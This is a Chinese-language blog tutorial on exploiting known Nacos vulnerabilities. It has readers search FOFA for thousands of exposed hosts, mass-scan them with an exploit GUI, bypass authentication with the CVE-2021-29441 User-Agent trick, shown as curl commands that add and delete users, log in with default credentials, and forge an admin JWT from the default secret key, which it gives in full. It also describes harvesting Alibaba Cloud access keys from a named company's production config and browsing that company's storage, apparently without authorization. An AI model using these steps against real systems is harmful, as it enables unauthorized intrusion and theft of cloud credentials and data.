0x1 前言
这次给师傅们分析的是Nacos相关漏洞挖掘的骚技巧,主要是给师傅们打下nday,让师傅们能够从零基础的小白也可以上手打Nacos的nday
(主要给小白看的,大佬勿喷)。然后下面主要介绍了NacosExploitGUI
自动化工具的使用,以及使用这个工具打nday的手法,以及要是批量漏洞url怎么扫描利用,总的来讲,下面的漏洞案例复现还是蛮详细的。
0x2 Nacos简介
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
0x3 靶场环境搭建
浅谈
要是师傅看我下面的案例,然后想跟着我一起挖这方面的漏洞的话,没有找到相关实列,可以尝试下上网找一些靶场搭建的方式,然后看看打下Nacos相关nday漏洞。常见的Nacos环境搭建可以在github上下或者使用vulhub靶场一键部署。
两种方式搭建环境:
1、github上下载nacos源码。解压,进入bin目录,运行startup.sh文件,使用以下命令启
动nacos。./startup.sh -m standalone
注:nacos运行环境是java1.8,所以要提前准备
java1.8环境。
从 Github 上下载源码方式
git clone https://github.com/alibaba/nacos.git
cd nacos/
mvn -Prelease-nacos -Dmaven.test.skip=true clean install -U
ls -al distribution/target/
// change the $version to your actual path
cd distribution/target/nacos-server-$version/nacos/bin
下载编译后压缩包方式
您可以从 最新稳定版本:https://github.com/alibaba/nacos/releases 下载 nacos-server-$version.zip
包。
unzip nacos-server-$version.zip 或者 tar -xvf nacos-server-$version.tar.gz
cd nacos/bin
2、还有一种方法就是使用vulnhub靶场直接使用docker拉取环境
Nacos漏洞登录页面如下:
0x4 NacosExploitGUI自动化工具
浅谈
在攻防演练中,Nacos
一直是红队攻击的重点目标之一,红队通常需要快速打点,尽快发现系统中的漏洞,并利用它们获取权限。在NacosExploitGUI_v7.0
版本中,更新了UI及其各种友好的提示、新增空间测绘功能让打点资产更迅速、修复derby sql注入漏洞在在特殊场景下的编码问题、新增derby sql注入不出网RCE的检测及其利用、 修复配置文件提取接口上限的问题、JraftHessian 反序列化漏洞新增自定义group攻击链路、新增自定义注入内存马密码及其路径、新增注入蚁剑内存马、新增命令执行可反弹shell功能等等。
NacosExploitGUI自动化工具:
https://github.com/charonlight/NacosExploitGUI
上面的这个图形化工具支持下面的几种漏洞扫描类型
Nacos Console 默认口令漏洞
Nacos Derby SQL 注入漏洞(CNVD-2020-67618)
Nacos User-Agent 权限绕过漏洞(CVE-2021-29441)
Nacos serverIdentity 权限绕过漏洞
Nacos token.secret.key 默认配置漏洞(QVD-2023-6271)
Nacos-Client Yaml 反序列化漏洞
Nacos Jraft Hessian 反序列化漏洞(CNVD-2023-45001)
以使用工具进行批量漏洞扫描,可以看到能够扫描到很多的漏洞,其中默认配置漏洞以及默认弱口令漏洞是最为常见的
0x5漏洞猎杀
相关漏洞资产收集
像比如师傅们不知道怎么找nacos相关漏洞的话,其实师傅们就可以直接使用空间检索引擎进行检索,比如常用的就是使用这个icon图标去找相关漏洞,因为很多nacos框架网站并不一定进行了魔改,所以可以使用icon图标进行资产收集,是最简单的
然后就可以使用空间引擎,下面我使用鹰图给师傅们演示下
还有一种方法就是使用FOFA空间语法进行检索相关资产信息
FOFA语句:app=”nacos” && port=”8848”
下面可以看到icon图标,除了开始我们上面的一种,下面还有好几个,
然后看下面的独立IP数量,有上万个,数量很多,那么我们就可以使用自动化扫描工具了,就比如使用我们上面的NacosExploitGUI自动化工具进行批量漏洞匹配
然后确定完漏洞以后,就可以直接进行挨个测试了,比如弱口令进去的,那么就可以进行然后再后台进行一个漏洞测试,扩大危害。
漏洞一:User-Agent权限绕过(CVE-2021-29441)
漏洞描述: 该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。
漏洞影响版本: Nacos <= 2.0.0-ALPHA.1
直接访问下面的目录,可以未授权查看到账号密码
/v1/auth/users?pageNo=1&pageSize=100 //可查看到用户列表
可以看下里面的账号密码,很多情况下账号密码都是这个暴露出来的username
添加用户,访问下面的接口
/v1/auth/users //添加用户
username=hhh&password=123456
User-Agent:Nacos-Server
//查看用户是否添加成功:
/v1/auth/search?username=hhh
curl 'http://IP/v1/auth/search?username=hhh'
//删除用户
curl -X DELETE "http://IP/v1/auth/users?username=hhh"
然后还可以使用我前面介绍的工具哈,直接就可以进行创建用户和删除用户的操作,十分简单便捷,适用于大批量IP渗透测试
漏洞二:默认弱口令漏洞
nacos框架的默认弱口令直接使用工具刚才检索出来了,直接常用的nacos:nacos登录成功
漏洞三:阿里云主机泄露Access Key
然后你可以直接在配置列表中的详情里面查看网站的配置信息,然后去挨个找,因为里面都是云安全的一些环境的配置,里面经常会泄露一些云安全的信息key值等,都是可以进行利用的
比如说里面找到OSS储存桶相关的,然后访问下,尝试打个OSS存储桶漏洞,感兴趣的师傅们可以根据我的这个思路进行测试下
后来我在rokid-ar-security-platform-biz-prod.yml
配置详情里面找到了这个东西,这个也是OSS储存桶相关的漏洞,下面的url可以访问下,然后要是有回显的话,然后尝试使用下面的access-key和secret-key进行密钥登录
endpoint: xxxxxxxxxxxxxxx
access-key: xxxxxxxxxxxxxxxxxxxxxxxx
secret-key: xxxxxxxxxxxxxxxxxxxxxxxxxxxx
可以看到这里我直接就登录成功了,且里面都是云空间里面的存储东西,下面可以看到里面的日志信息等
有一些他里面你要是没有找到那个访问的url或者访问不了禁止访问登录连接,那么师傅们可以尝试下下面的这个工具oss-browser
,就是专门来连接OSS的
https://github.com/aliyun/oss-browser
直接输入泄露的access-key值,直接使用OSS连接工具就可以直接连接成功了
包括也会使用阿里云的下面的这个连接工具:aliyun-accesskey-Tools
https://github.com/mrknow001/aliyun-accesskey-Tools
参考文章如下:
https://www.freebuf.com/articles/web/255717.html
要是运气好的话们,也就是我们上面的那个直接找到了下面的OSS阿里云主机登录的后台地址,且允许我们直接拿泄露Access Key值进行登录连接,直接可以看到该阿里云服务器云上的所有信息了
漏洞四:token.secret.key默认配置(QVD-2023-6271)
利用刚才的图形化nacos自动化漏洞扫描工具扫出来的一个token.secret.key默认配置(QVD-2023-6271)漏洞,下面就来打下这个洞
使用nacos默认key可进行jwt构造
nacos默认key(token.secret.key值的位置在conf下的application.properties)
SecretKey012345678901234567890123456789012345678901234567890123456789
JWT DATA:
{
"sub": "nacos",
"exp": 1682308800
}
SecretKey012345678901234567890123456789012345678901234567890123456789
利用该key构造JWT,可以直接进入后台。
在:https://jwt.io/
payload:
{
"sub": "nacos",
"exp": 1721781819
}
//1721781819是unix的时间戳 需要比系统晚 一般可以改成明天的时间
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTc4MTgxOX0.ltShA79EVJaJmhD0zYxtwsx_4K8erjXsorZ5T3RrARw
我们先直接随便输入一个账号密码,然后看看登录失败的返回包
然后把下面的payload复制到数据包中,就可以成功了
payload:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTc4MTgxOX0.ltShA79EVJaJmhD0zYxtwsx_4K8erjXsorZ5T3RrARw
然后再把返回包复制,再利用刚才的网站登录抓包,然后修改返回包,然后放包,就可以直接登录到网站后台了
漏洞五:Spring-Boot漏洞
对于Spring-Boot
漏洞,我们可以使用Spring-Boot-Scan漏洞扫描工具
https://github.com/AabyssZG/SpringBoot-Scan
然后进入后台里面有spring-boot相关源代码,都是可以进行分析的,感兴趣的十分可以尝试下
0x6 总结
这篇文章主要是给师傅们分享下Nacos漏洞的相关,给师傅们提供下简单的对于Nacos漏洞的思路,然后里面的案例详细的操作了对于Nacos漏洞的nday漏洞的打法以及使用工具进行批量扫描测试的手法。
更多网络安全优质免费学习资料与干货教程+
送渗透工具、技术文档、书籍,面试题、视频(基础到进阶。环境搭建,HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等)、应急响应笔记、学习路线。
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。